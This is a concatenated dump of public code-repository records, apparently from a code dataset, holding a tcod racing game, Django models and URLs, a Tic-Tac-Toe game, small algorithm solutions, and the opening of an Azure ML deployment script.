This structure is pretty ugly, but no time to clean it up\n      if current_intro_line == len(intro_lines):\n        time.sleep(intro_lines[current_intro_line - 1][1])\n      elif current_intro_line >= len(intro_lines):\n        race_started = True\n      else:\n        tcod.console_clear(intro_window)\n        tcod.console_hline(intro_window, 0, 0, intro_w)\n        tcod.console_hline(intro_window, 0, intro_h - 1, intro_w)\n        tcod.console_vline(intro_window, 0, 0, intro_h)\n        tcod.console_vline(intro_window, intro_w - 1, 0, intro_h)\n        tcod.console_print_rect_ex(intro_window, int(intro_w/2), 1, intro_w - 3, intro_h - 2, tcod.BKGND_SET, tcod.CENTER, intro_lines[current_intro_line][0])\n        tcod.console_blit(intro_window, 0, 0, intro_w, intro_h, 0, intro_x, intro_y)\n        if current_intro_line > 0:\n          time.sleep(intro_lines[current_intro_line - 1][1])\n      current_intro_line += 1\n\n    tcod.console_flush()\n\n  # Race is finished\n  if exit_game:\n    tcod.console_clear(main_viewport)\n    tcod.console_blit(main_viewport, 0, 0, g.screen_width, g.screen_height, 0, 0, 0,)\n    tcod.console_clear(bottom_viewport)\n    tcod.console_blit(bottom_viewport, 0, 0, main_viewport_width, bottom_viewport_height, 0, 0, bottom_viewport_y)\n    tcod.console_flush()\n    g.context = Context.MAIN_MENU\n  else:\n    final_stats = build_race_stats(race)\n    place = 1\n    for stat in final_stats:\n      race.places[place] = stat.team\n      place += 1\n    g.season.races.append(race)\n    g.lexicon_counter += 1\n    if g.lexicon_counter >= len(lex.genres_lexicons):\n      g.lexicon_counter = 0\n    g.context = Context.POST_RACE\n\n\ndef do_season_overview(key, mouse):\n  bottom_selector_panel_h = 9\n  bottom_selector_panel = tcod.console_new(g.screen_width, bottom_selector_panel_h)\n  tcod.console_set_alignment(bottom_selector_panel, tcod.CENTER)\n  tcod.console_set_default_foreground(bottom_selector_panel, tcod.lightest_magenta)\n\n  nearly_full_panel = tcod.console_new(g.screen_width, g.screen_height - bottom_selector_panel_h)\n  tcod.console_set_alignment(nearly_full_panel, tcod.LEFT)\n  tcod.console_set_default_foreground(nearly_full_panel, tcod.sea)\n\n  print_season_overview(nearly_full_panel, g.screen_width, g.season)\n  tcod.console_blit(nearly_full_panel, 0, 0, g.screen_width, g.screen_height - bottom_selector_panel_h, 0, 0, 0)\n\n  confirm = False\n  selected_option = 1\n  while not confirm:\n    tcod.sys_check_for_event(tcod.EVENT_KEY_PRESS, key, mouse)\n\n    spacing = 6\n\n    options = []\n    if g.season.current_race >= len(g.season.circuits):\n      options = [\n        ('exit', 'Retire!'),\n        ('start over', 'Play again')\n      ]\n    else:\n      options = [\n        ('exit', 'I quit'),\n        ('go forward', 'Let\\'s rock')\n      ]\n    selection = options[0][0]\n    \n    tcod.console_clear(bottom_selector_panel)\n\n    option0_text = options[0][1]\n    option1_text = options[1][1]\n\n    # Currently only supports exactly 2 options\n    xy0 = (int(g.screen_width / 2) - len(option0_text) - int(spacing / 2), int(bottom_selector_panel_h / 2))\n    xy1 = (int(g.screen_width / 2) + int(spacing / 2), int(bottom_selector_panel_h / 2))\n    tcod.console_print_ex(bottom_selector_panel, xy0[0], xy0[1], tcod.BKGND_SET, tcod.LEFT, option0_text)\n    tcod.console_print_ex(bottom_selector_panel, xy1[0], xy1[1], tcod.BKGND_SET, tcod.LEFT, option1_text)\n\n    if selected_option == 0:\n      tcod.console_hline(bottom_selector_panel, xy0[0] - 2, xy0[1] - 1, len(option0_text) + 4)\n      tcod.console_hline(bottom_selector_panel, xy0[0] - 2, xy0[1] + 1, len(option0_text) + 4)\n\n    elif selected_option == 1:\n      tcod.console_hline(bottom_selector_panel, xy1[0] - 2, xy1[1] - 1, len(option1_text) + 4)\n      tcod.console_hline(bottom_selector_panel, xy1[0] - 2, xy1[1] + 1, len(option1_text) + 4)\n\n    action = handle_keys(key, 'simple selection')\n    select = action.get('select')\n    enter = action.get('enter')\n    if select:\n      selected_option += select\n      if selected_option > len(options) - 1:\n        selected_option = 0\n      elif selected_option < 0:\n        selected_option = len(options) - 1\n    if enter:\n      selection = options[selected_option][0]\n      confirm = True\n    \n    tcod.console_blit(bottom_selector_panel, 0, 0, g.screen_width, bottom_selector_panel_h, 0, 0, g.screen_height - bottom_selector_panel_h)  \n    tcod.console_flush()\n\n  if selection == 'exit':\n    g.context = Context.MAIN_MENU\n    tcod.console_clear(bottom_selector_panel)\n    tcod.console_clear(nearly_full_panel)\n    tcod.console_blit(bottom_selector_panel, 0, 0, g.screen_width, bottom_selector_panel_h, 0, 0, g.screen_height - bottom_selector_panel_h)  \n    tcod.console_blit(nearly_full_panel, 0, 0, g.screen_width, g.screen_height - bottom_selector_panel_h, 0, 0, 0)\n    tcod.console_flush()\n  elif selection == 'go forward':\n    g.context = Context.RACE\n    tcod.console_clear(bottom_selector_panel)\n    tcod.console_clear(nearly_full_panel)\n    tcod.console_blit(bottom_selector_panel, 0, 0, g.screen_width, bottom_selector_panel_h, 0, 0, g.screen_height - bottom_selector_panel_h)  \n    tcod.console_blit(nearly_full_panel, 0, 0, g.screen_width, g.screen_height - bottom_selector_panel_h, 0, 0, 0)\n    tcod.console_flush()\n  elif selection == 'start over':\n    g.context = Context.TEAM_CREATION\n    tcod.console_clear(bottom_selector_panel)\n    tcod.console_clear(nearly_full_panel)\n    tcod.console_blit(bottom_selector_panel, 0, 0, g.screen_width, bottom_selector_panel_h, 0, 0, g.screen_height - bottom_selector_panel_h)  \n    tcod.console_blit(nearly_full_panel, 0, 0, g.screen_width, g.screen_height - bottom_selector_panel_h, 0, 0, 0)\n    tcod.console_flush()    \n\n\ndef do_team_creation(key, mouse):\n  tcod.console_flush()\n  full_panel = tcod.console_new(g.screen_width * 2, g.screen_height)\n  tcod.console_set_alignment(full_panel, tcod.LEFT)\n  tcod.console_set_default_foreground(full_panel, tcod.sea)\n\n  questions_options = {\n    'What is the name of your team?': [],\n    'What color is your team?': [\n      (tcod.red, '%c%c%c%cRed%c'%(tcod.COLCTRL_FORE_RGB, tcod.red.r + 256, tcod.red.g + 256, tcod.red.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.orange, '%c%c%c%cOrange%c'%(tcod.COLCTRL_FORE_RGB, tcod.orange.r + 256, tcod.orange.g + 256, tcod.orange.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.yellow, '%c%c%c%cYellow%c'%(tcod.COLCTRL_FORE_RGB, tcod.yellow.r + 256, tcod.yellow.g + 256, tcod.yellow.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.green, '%c%c%c%cGreen%c'%(tcod.COLCTRL_FORE_RGB, tcod.green.r + 256, tcod.green.g + 256, tcod.green.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.sea, '%c%c%c%cSea%c'%(tcod.COLCTRL_FORE_RGB, tcod.sea.r + 256, tcod.sea.g + 256, tcod.sea.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.turquoise, '%c%c%c%cTurquoise%c'%(tcod.COLCTRL_FORE_RGB, tcod.turquoise.r + 256, tcod.turquoise.g + 256, tcod.turquoise.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.light_cyan, '%c%c%c%cLight cyan%c'%(tcod.COLCTRL_FORE_RGB, tcod.light_cyan.r + 256, tcod.light_cyan.g + 256, tcod.light_cyan.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.azure, '%c%c%c%cAzure%c'%(tcod.COLCTRL_FORE_RGB, tcod.azure.r + 256, tcod.azure.g + 256, tcod.azure.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.blue, '%c%c%c%cBlue%c'%(tcod.COLCTRL_FORE_RGB, tcod.blue.r + 256, tcod.blue.g + 256, tcod.blue.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.purple, '%c%c%c%cPurple%c'%(tcod.COLCTRL_FORE_RGB, tcod.purple.r + 256, tcod.purple.g + 256, tcod.purple.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.light_purple, '%c%c%c%cLight purple%c'%(tcod.COLCTRL_FORE_RGB, tcod.light_purple.r + 256, tcod.light_purple.g + 256, tcod.light_purple.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.pink, '%c%c%c%cPink%c'%(tcod.COLCTRL_FORE_RGB, tcod.pink.r + 256, tcod.pink.g + 256, tcod.pink.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.sepia, '%c%c%c%cSepia%c'%(tcod.COLCTRL_FORE_RGB, tcod.sepia.r + 256, tcod.sepia.g + 256, tcod.sepia.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.gray, '%c%c%c%cGray%c'%(tcod.COLCTRL_FORE_RGB, tcod.gray.r + 256, tcod.gray.g + 256, tcod.gray.b + 256, tcod.COLCTRL_STOP)),\n      (tcod.white, '%c%c%c%cWhite%c'%(tcod.COLCTRL_FORE_RGB, tcod.white.r + 256, tcod.white.g + 256, tcod.white.b + 256, tcod.COLCTRL_STOP))\n    ]\n  }\n\n  responses = handle_questions(full_panel, key, mouse, questions_options)\n  player_team = Team(responses[0], responses[1], Vehicle(vehicle_bodies.v_bod_1), True)\n  teams = t.pick_season_teams(player_team)\n\n  # Build season\n  season_circuits = []\n  for circuit in circuits.ALL:\n    season_circuits.append(circuit)\n  g.season = Season(2094, season_circuits, teams)\n\n  # Move on\n  g.context = Context.SEASON_OVERVIEW","repo_name":"KingOctavious/band_prix","sub_path":"context_handlers.py","file_name":"context_handlers.py","file_ext":"py","file_size_in_byte":27834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37509086194","text":"from rest_framework.routers import DefaultRouter\nfrom django.urls import path, include\nfrom .views import *\n\nrouter = DefaultRouter()\nrouter.register(\"category\", CategoryView, basename=\"categoriview\"),\nrouter.register(\"cart\", CartViews, basename=\"cart\"),\nrouter.register(\"order\", OrderView, basename=\"order\"),\n\nurlpatterns = [\n        path('', include(router.urls)),\n        path(\"product/\",ProductView.as_view(),name=\"product\"),\n        path(\"product/<int:id>/\",ProductView.as_view(),name=\"product\"),\n        path(\"profile/\",ProfileView.as_view(),name=\"profile\"),\n        path(\"user/\",UserUpdateData.as_view(),name=\"user\"),\n        path(\"profileview/\",ProfileImageUpdate.as_view(),name=\"profileview\"),\n        path(\"addcart/\",AddCartViews.as_view(),name=\"addcart\"),\n        path(\"cartupdate/\",CartUpdateView.as_view(),name=\"cartupdate\"),\n        path(\"cartedit/\",CartEditView.as_view(),name=\"cartedit\"),\n        path(\"cartdl/\",CartDelete.as_view(),name=\"cartdl\"),\n        path(\"cartdelete/\",CartDeleteView.as_view(),name=\"cartdelete\"),\n        path(\"register/\",Registerview.as_view(),name=\"register\"),\n]","repo_name":"mdalamin-py/Django-React-Ecommerce-Simple","sub_path":"shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"18332818791","text":"import sys\nimport math\nfrom collections import deque\n\nsys.setrecursionlimit(100000)\nMOD = 10 ** 9 + 7\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\n\n\ndef main():\n    N = NI()\n    ans = []\n    now = 1\n    while N != 0:\n        rem = N % 3\n        if rem == 0:\n            pass\n        elif rem == 1:\n            ans.append(now)\n            N -= 1\n        else:\n            ans.append(-now)\n            N += 2\n\n        N //= 3\n        now *= 3\n\n    print(len(ans))\n    print(*ans)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"PAST/PAST07G.py","file_name":"PAST07G.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40501875278","text":"from mmdet.apis import init_detector, inference_detector, show_result\r\nimport mmcv\r\nimport os\r\nimport cv2\r\nimport re\r\nimport json\r\nfrom glob import glob  \r\nfrom tqdm import tqdm\r\n\r\n#os.environ['CUDA_VISIBLE_DEVICES'] = \"3\"\r\n\r\nconfig_file = '/home/mic_dachuang/B/mmdetection/modified_configs/ssd512_coco.py'\r\ncheckpoint_file = '/home/mic_dachuang/B/mmdetection/work_dir_new_4_14/ssd512_default/epoch_5.pth'\r\n#config_file='/Volumes/Samsung_T5/大创/data/coco_new/test2017/'\r\n\r\n# build the model from a config file and a checkpoint file\r\nmodel = init_detector(config_file, checkpoint_file, device='cuda:0')\r\n\r\n\r\npicture='/home/mic_dachuang/B/test/test2017'\r\nannotation='/home/mic_dachuang/B/test/test2017/'\r\noutput='/home/mic_dachuang/B/test/out/'\r\n\r\nfor img in tqdm(glob(picture + '/*.jpg')):\r\n  fn=re.search(r'[-\\w]*.jpg',img).group()\r\n#with open(picture) as f:\r\n  # test a single image and show the results\r\n  #img = mmcv.imread('test.jpg')#, which will only load it once\r\n  result = inference_detector(model, img)\r\n  # visualize the results in a new window\r\n  show_result(img, result, model.CLASSES,0.3,0,False,output+fn)\r\n  i=cv2.imread(output+fn)\r\n#Read existing annotations and draw them out\r\n  json_path=annotation+'/'+fn[:-4]+'.json'\r\n  with open(json_path) as j:\r\n    all=json.load(j)\r\n  for ann in all:\r\n    pt1,pt2=(int(ann['x']),int(ann['y'])),(int(ann['x']+ann['w']),int(ann['y']+ann['h']))\r\n   # print(pt1,pt2,img)\r\n    cv2.rectangle(i,pt1,pt2,(0,0,255),1)\r\n    font=cv2.FONT_HERSHEY_PLAIN\r\n    cv2.putText(i,'Reference',pt1,font,1,(0,0,255),1)\r\n    cv2.imwrite(output+fn,i)\r\nprint('Done.')\r\n\r\n\r\n","repo_name":"RandomNamer/mic_dachuang-utilities","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"34761469150","text":"from functions import autofill_class, attribute_selector, determine_similar_cities\r\nfrom tkinter import *\r\nimport pandas as pd\r\n\r\n\r\nclass FindSimilarCities:\r\n    def __init__(self, inherited_root, df, weighting, attribute_min_max):\r\n        global root\r\n        root = inherited_root\r\n        self.inherited_root = inherited_root\r\n        self.df = df\r\n        self.weighting = weighting\r\n        self.attribute_min_max = attribute_min_max\r\n        self.return_home = False\r\n        global autofill_screen\r\n        autofill_screen = autofill_class.AutofillScreen(root, self.df)\r\n\r\n        root.after(200, self.check_if_city_chosen)\r\n\r\n    def check_if_city_chosen(self):\r\n        if autofill_screen.city:\r\n            self.city_is_chosen()\r\n        else:\r\n            root.after(200, self.check_if_city_chosen)\r\n\r\n    def check_if_attributes_chosen(self):\r\n        if selected_attributes.list_of_attributes and selected_attributes.similarity:\r\n            self.attributes_chosen()\r\n        else:\r\n            root.after(200, self.check_if_attributes_chosen)\r\n\r\n    # noinspection PyAttributeOutsideInit\r\n    def city_is_chosen(self):\r\n        self.city = self.df.iloc[autofill_screen.city[0][0] - 1]\r\n        self.attribute_selector()\r\n\r\n    def attribute_selector(self):\r\n        global selected_attributes\r\n        selected_attributes = attribute_selector.AttributeSelector(root, self.city)\r\n        root.after(200, self.check_if_attributes_chosen)\r\n\r\n    def attributes_chosen(self):\r\n        self.attributes = selected_attributes.list_of_attributes\r\n        self.similarity_chosen = round(selected_attributes.similarity, 2)\r\n        print(self.attributes)\r\n        print(self.similarity_chosen)\r\n        similar_cities = determine_similar_cities.determine_similar_cities_main(self.city, self.attributes,\r\n                                                                                self.similarity_chosen, self.df,\r\n                                                                                self.weighting, self.attribute_min_max,\r\n                                                                                root)\r\n        return_home_button = Button(root, text=\"Click here to return home\", command=self.return_home_command).grid(row=3,\r\n            pady=30)\r\n\r\n    def return_home_command(self):\r\n        self.return_home = True\r\n        pass\r\n","repo_name":"olivercook197/CitySimilarityTool","sub_path":"code/find_similar_cities.py","file_name":"find_similar_cities.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18802500777","text":"\n\ndef main():\n    list = makeList()\n    horizontalLine = drawLine(70)\n    instrcutions = getInstructions()\n    playersTurn = 1\n\n    print(\"Tic-Tac-Toe\")\n    print()\n    print(horizontalLine)\n    print(instrcutions)\n    print()\n    start = input()\n    drawTabel(list)\n    render(playersTurn, list)\n\ndef checkVictory(list, simbol):\n    for row in list:\n        if row[0] == simbol and row[1] == simbol and row[2] == simbol:\n            return True\n    for i in range(3):\n        if list[0][i] == simbol and list[1][i] == simbol and list[2][i] == simbol:\n            return True\n    if list[0][0] == simbol and list[1][1] == simbol and list[2][2] == simbol:\n        return True\n    if list[2][0] == simbol and list[1][1] == simbol and list[0][2] == simbol:\n        return True\n    return False\n\ndef checkTie(list):\n    for row in list:\n        for col in row:\n            if col == ' ':\n                return False\n    return True\n\n\ndef render(playersTurn, list):\n    position = getPosition(playersTurn, list)\n    row = int(position[0])-1\n    colm = int(position[1])-1\n    simbol = getSimbol(playersTurn)\n    list[row][colm] = simbol\n    drawTabel(list)\n    if checkVictory(list, simbol):\n        print(f\"Player {playersTurn} won!!!\")\n    elif checkTie(list):\n        print(f\"No one won the Game!!!\")\n    else:\n        if playersTurn == 1:\n            playersTurn = 2\n        else:\n            playersTurn = 1\n        render(playersTurn, list)\n\ndef validPosition(pos, list):\n    row = int(pos[0])-1\n    colm = int(pos[1])-1\n    if list[row][colm] == ' ':\n        return True\n    else:\n        return False\n\ndef getPosition(playersTurn, list):\n    pos = 0\n    validPos = ['11','12','13','21','22','23','31','32','33']\n    while pos not in validPos:\n        simbol = getSimbol(playersTurn)\n        pos = input(f\"PLAYER {playersTurn}({simbol}): \")\n        if not pos in validPos:\n            print(\"Please fill in a valid position.\")\n        elif validPosition(pos, list) == False:\n            print(\"Please choose a empty square.\")\n            pos = 0\n    return pos\n\ndef getSimbol(player):\n    if player == 1:\n        return 'X'\n    elif player == 2:\n        return 'O'\n\ndef drawTabel(list):\n    marginTabel = setMargin(5)\n    print()\n    print(f\"{marginTabel} {list[0][0]} | {list[0][1]} | {list[0][2]}\")\n    print(f\"{marginTabel}---+---+---\")\n    print(f\"{marginTabel} {list[1][0]} | {list[1][1]} | {list[1][2]}\")\n    print(f\"{marginTabel}---+---+---\")\n    print(f\"{marginTabel} {list[2][0]} | {list[2][1]} | {list[2][2]}\")\n    print()\n\ndef makeList():\n    arr = []\n    for i in range(3):\n        arr.append([])\n        for j in range(3):\n            arr[i].append(\" \")\n    return arr\n\ndef drawLine(n):\n    line = ''\n    for i in range(n):\n        line += '-'\n    return line\n\ndef setMargin(n):\n    margin = ''\n    for i in range(n):\n        margin += ' '\n    return margin\n\ndef getInstructions():\n    return \"\\nThe rules for this game are very simple, each round a player chose a free place in the # to put his simbol.\\n\\nThe first player will have an 'O' as a simbol and the second player an 'X'.\\n\\nTo chose a position  the player have to write first de number of the line followed buy the number of the row.\\n\\nFor the top left square the player would type 11, where the first one is fore the first row and the second 1 is for the first column, 13 would be for the top right position and 31 for the bottom left position. You can only choose a free location.\\n\\nThe first player taht has three simbols in a row (horizontal, vertical or diagonal) wins the game.\\n\\nPress ENTER to start.\"\n\nmain();\n","repo_name":"giovnnvm/Terminal_Tic-Tac-Toe_Python","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19667946496","text":"# best method: in only one swap(submitted on geeksforgeeks)\n# traverse the whole linklist till end and keep on incr first\n# and when count become>= n then after that start incr 'second' aslo\n# this will ensure first-second= n-1 and thus 'second' will point to the\n# nth node from the last\ndef getNthFromLast(head,n):\n    first, second= head,head\n    count= 0\n    while first.next:\n        first= first.next\n        count+= 1\n        if count>=n:   # after count becomes equal to n\n            second= second.next\n    if count+1<n: # means n> no of elements in the link list\n        return -1\n    else:\n        return second.data\n\n# 2nd method: Brute force method\n# this will take two traversal\n# 1st to count no of elements and 2nd to get the nth element from the last\n\n","repo_name":"Ravi-0412/DSA-Program-And-Notes","sub_path":"LinkList/Nth_node_last.py","file_name":"Nth_node_last.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"}
+{"seq_id":"9930574038","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractUser\nfrom django.contrib.auth import get_user_model\n\n\n\nclass Company(models.Model):\n    name = models.CharField(max_length=255)\n    logo = models.ImageField(upload_to='company', blank=True, null=True)\n    salesforce_username = models.CharField(max_length=255, null=True, blank=True)\n    salesforce_password = models.CharField(max_length=255, null=True, blank=True)\n\n    def __str__(self):\n        return self.name\n\nclass CustomUser(AbstractUser):\n    company = models.ForeignKey(Company, on_delete=models.CASCADE, null=True, blank=True)\n    dark_mode = models.BooleanField(default=False)\n\n\n# Create your models here.\nclass Folder(models.Model):\n    name = models.CharField(max_length=50)\n    created_date = models.DateTimeField(auto_now_add=True)\n    updated_date = models.DateTimeField(auto_now=True)\n    company = models.ForeignKey(Company, on_delete=models.CASCADE, null=True, blank=True)\n    last_updated_date = models.DateTimeField(auto_now=True)\n    @property\n    def num_of_pre(self):\n        num_of_pre = Presentation.objects.filter(folder_id = self.id).count()\n        return num_of_pre\n    def __str__(self):\n        return self.name\n    @property\n    def total_size(self):\n        total_size = 0.0\n        for presentation in self.presentations.all():\n            total_size += presentation.total_size\n        return total_size\n    def save(self, *args, **kwargs):\n        if not self.id:\n            if 'request' in kwargs:\n                request = kwargs.pop('request')\n                User = get_user_model()\n                user = User.objects.get(username=request.user.username)\n                self.company = user.company\n        super().save(*args, **kwargs)\n    \n\nclass Presentation(models.Model):\n    Taptop = 'TT'\n    TapBottom = 'TB'\n    SwipeUp = 'SU'\n    SwipeDown = 'SD'\n\n    PLAYER_GESTURE = [\n    (Taptop , \"Taptop\" ),\n    (TapBottom , \"TapBottom\" ),\n    (SwipeUp , \"SwipeUp\" ),\n    (SwipeDown , \"SwipeDown\" )\n    ]\n\n    name = models.CharField(max_length=255)\n    created_date = models.DateTimeField(auto_now_add=True)\n    is_push_oce = models.BooleanField(default=False)\n    start_date = models.DateField(blank=True, null=True)\n    end_date = models.DateField(blank=True, null=True)\n    is_pinch = models.BooleanField(default=False)\n    is_double_tap = models.BooleanField(default=False)\n    is_active = models.BooleanField(default=True)\n    is_send_email = models.BooleanField(default=False)\n    player_gesture = models.CharField(max_length=30, choices=PLAYER_GESTURE, default='TapBottom')\n    folder = models.ForeignKey(Folder, on_delete=models.SET_NULL, blank=True, null=True, related_name='presentations')\n    company = models.ForeignKey(Company, on_delete=models.CASCADE, null=True, blank=True)\n    last_updated_date = models.DateTimeField(auto_now=True)\n    def save(self, *args, **kwargs):\n        if not self.id:\n            if 'request' in kwargs:\n                request = kwargs.pop('request')\n                User = get_user_model()\n                user = User.objects.get(username=request.user.username)\n                self.company = user.company\n        super().save(*args, **kwargs)\n    @property\n    def firstAsset(self):\n        asset = Asset.objects.filter(presentation_id = self.id).order_by('sort_number').first()\n        firstAsset =  asset.img.url\n        return firstAsset\n    @firstAsset.setter\n    def firstAsset(self, value):\n        if value is None:\n            self.value = 0\n        self._firstAsset = value\n    @property\n    def num_of_asset(self):\n        num_of_asset = Asset.objects.filter(presentation_id = self.id).count()\n        return num_of_asset\n    @num_of_asset.setter\n    def num_of_asset(self, value):\n        if value is None:\n            self.value = 0\n        self._num_of_asset = value\n\n    def __str__(self):\n        return self.name\n    @property\n    def total_size(self):\n        total_size = 0.0\n        for asset in self.assets.all():\n            total_size += asset.total_size\n        return total_size\n\n\nclass Asset(models.Model):\n    name = models.CharField(max_length=100)\n    is_asset = models.BooleanField(default=False)\n    img = models.ImageField(upload_to='media', null=True)\n    activation_date = models.DateField(blank=True, null=True)\n    deactivation_date = models.DateField(blank=True, null=True)\n    is_mandatory = models.BooleanField(default=False)\n    presentation = models.ForeignKey(Presentation, on_delete=models.CASCADE, blank=True, null=True, related_name='assets')\n    sort_number = models.BigIntegerField(default=10000)\n    thumbnail = models.ImageField(upload_to='thumbnails', blank=True, null=True)\n    size = models.FloatField(default=0)\n    company = models.ForeignKey(Company, on_delete=models.CASCADE, null=True, blank=True)\n    def save(self, *args, **kwargs):\n        if not self.id:\n            if 'request' in kwargs:\n                request = kwargs.pop('request')\n                User = get_user_model()\n                user = User.objects.get(username=request.user.username)\n                self.company = user.company\n        super().save(*args, **kwargs)\n\n    def img_url(self):\n        if self.img and hasattr(self.img, 'url'):\n            return self.img.url\n    def __str__(self):\n        return self.name\n    @property\n    def total_size(self):\n        total_size = self.size\n        for ac in self.coordinates.all():\n            total_size += ac.size\n        return total_size\n    \n\nclass Product(models.Model):\n    name = models.CharField(max_length=255)\n    salesforce_id = models.CharField(max_length=255, default='0')\n    is_active = models.BooleanField(default=False)\n    assets = models.ManyToManyField('Asset', related_name='products', blank=True)\n    company = models.ForeignKey(Company, on_delete=models.CASCADE, null=True, blank=True)\n\n    def __str__(self):\n        return self.name\n\nclass Message(models.Model):\n    name = models.CharField(max_length=255)\n    product = models.ForeignKey(Product, models.CASCADE)\n    salesforce_id = models.CharField(max_length=255, default='0')\n    assets = models.ManyToManyField('Asset', related_name='messages', blank=True)\n    company = models.ForeignKey(Company, on_delete=models.CASCADE, null=True, blank=True)\n\n    def __str__(self):\n        return f\"{self.name} - {self.product.name}\"\n\n\n\nclass AssetCoordinate(models.Model):\n    ASSET_TYPE_CHOICES = (\n        ('link', 'Link'),\n        ('popup', 'Popup'),\n        ('video', 'Video'),\n    )\n\n    asset = models.ForeignKey(Asset, on_delete=models.CASCADE, related_name='coordinates')\n    coordinate_type = models.CharField(max_length=15, choices=ASSET_TYPE_CHOICES)\n    start_top = models.IntegerField(default=0)\n    start_left = models.IntegerField(default=0)\n    end_top = models.IntegerField(default=0)\n    end_left = models.IntegerField(default=0)\n    linked_asset = models.ForeignKey(Asset, on_delete=models.CASCADE, related_name='linked_from_assets',null=True, blank=True)\n    linked_url = models.URLField(null=True, blank=True)\n    image = models.ImageField(upload_to='popups', null=True, blank=True) # Add the popup images here\n    video = models.FileField(upload_to='videos', null=True, blank=True)  # Add the video field here\n    is_embedded = models.BooleanField(default=False)\n    isEveryLink = models.BooleanField(default=False)\n    size = models.FloatField(default=0.0)\n    company = models.ForeignKey(Company, on_delete=models.CASCADE, null=True, blank=True)\n    def save(self, *args, **kwargs):\n        if not self.id:\n            if 'request' in kwargs:\n                request = kwargs.pop('request')\n                User = get_user_model()\n                user = User.objects.get(username=request.user.username)\n                self.company = user.company\n        super().save(*args, **kwargs)\n\n\n    def __str__(self):\n        if self.linked_asset:\n            return f\"{self.asset.name} - {self.coordinate_type} - {self.linked_asset.name}\"\n        else:\n            return f\"{self.asset.name} - {self.coordinate_type}\"\n\n\nclass Notification(models.Model):\n    user = models.ForeignKey(CustomUser, on_delete=models.CASCADE)\n    message = models.CharField(max_length=255)\n    created_at = models.DateTimeField(auto_now_add=True)\n    is_read = models.BooleanField(default=False)\n\n    class Meta:\n        ordering = ['-created_at']\n\n    def __str__(self):\n        return self.message\n    def save(self, *args, **kwargs):\n        if self.pk is None:\n            # Only execute this code if it's a new notification being saved\n            max_notification_count = 50\n            user_notifications = Notification.objects.filter(user=self.user).order_by('-created_at')\n\n            if user_notifications.count() >= max_notification_count:\n                # Delete the oldest notification(s) if the limit is reached\n                excess_count = user_notifications.count() - max_notification_count + 1\n                excess_notifications = user_notifications[:excess_count]\n                excess_notifications.delete()\n\n        super().save(*args, **kwargs)","repo_name":"ahmetkilicer/Oce_Editor-Production","sub_path":"src/Editor/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33706413416","text":"\"\"\"\nДан список, вывести отдельно буквы и цифры, пользуясь filter.\n[12,'sadf',5643] ---> ['sadf'] ,[12,5643]\n\"\"\"\n\nimport os\n\nos.system(\"clear\")\n\nelements = list(\n    map(\n        lambda el: int(el) if el.isdigit() else el,\n        input(\"Введите список: \").split()\n    )\n)\n\nnumbers = list(filter(lambda el: isinstance(el, int), elements))\nstrings = list(filter(lambda el: isinstance(el, str), elements))\n\nprint (\"Исходный список \", elements)\nprint(strings, numbers, sep=\", \")\n","repo_name":"RomanChertkov/GeekBrains-python-seminars","sub_path":"seminar_6/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8358169676","text":"__file__ = variables.get(\"PA_TASK_NAME\")\nprint(\"BEGIN \" + __file__)\n\nimport wget\nfrom azureml.core.webservice import Webservice\nfrom azureml.core.authentication import InteractiveLoginAuthentication\nfrom azureml.core import Workspace\nfrom azureml.core.model import Model\nfrom azureml.core.model import InferenceConfig\nfrom azureml.core.image import ContainerImage\n\n#Define default variables\nWORKSPACE_NAME = 'docs-ws'\nSUBSCRIPTION_ID = 'a1c03dc2-0383-4ec9-9c73-fb74aa0de4f6'\nRESOURCE_GROUP = 'test_azure_rs'\nSERVICE_NAME = 'sklearn-mnist-test'\nMODEL_PATH = \"./myModel.pkl\"\nMODEL_NAME = \"test_model\"\nCONDA_FILE_PATH = \"./myenv.yml\"\nMODEL_DESCRIPTION = \" test a new update of the service\"\nEXECUTION_SCRIPT_PATH = \"./score.py\"\nmodel_id = None\n\n#Get variables from the Studio\nif 'variables' in locals():\n    if variables.get(\"AZURE_SUBSCRIPTION_ID\") is not None:\n        AZURE_SUBSCRIPTION_ID = variables.get(\"AZURE_SUBSCRIPTION_ID\")\n    if variables.get(\"AZURE_RESOURCE_GROUP\") is not None:\n        AZURE_RESOURCE_GROUP = 